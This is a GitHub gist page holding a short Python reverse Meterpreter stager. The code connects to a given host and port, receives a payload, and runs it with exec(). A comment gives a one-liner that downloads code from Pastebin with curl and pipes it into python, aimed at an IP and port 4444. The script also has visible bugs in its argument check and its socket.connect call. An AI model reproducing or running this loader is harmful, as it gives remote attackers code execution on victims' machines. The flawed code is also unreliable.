Created
November 11, 2016 10:33
-
-
Save wesleyit/992471da5cf1bef848a20a7944e9bb4f to your computer and use it in GitHub Desktop.
Parametrized Python Reverse Meterpreter
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import socket, struct, sys | |
if len(sys.argv) != 2: sys.exit(1) | |
s = socket.socket(2, socket.SOCK_STREAM) | |
s.connect(sys.argv[1], int(sys.argv[2])) | |
l = struct.unpack('>I', s.recv(4))[0] | |
d = s.recv(l) | |
while len(d) < l: | |
d += s.recv(l-len(d)) | |
exec(d, {'s':s}) | |
## Run with: bash -c curl\\ http://pastebin.com/raw/h3rFHinE\\ |\\ python\\ -\\ 192.168.1.37\\ 4444 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment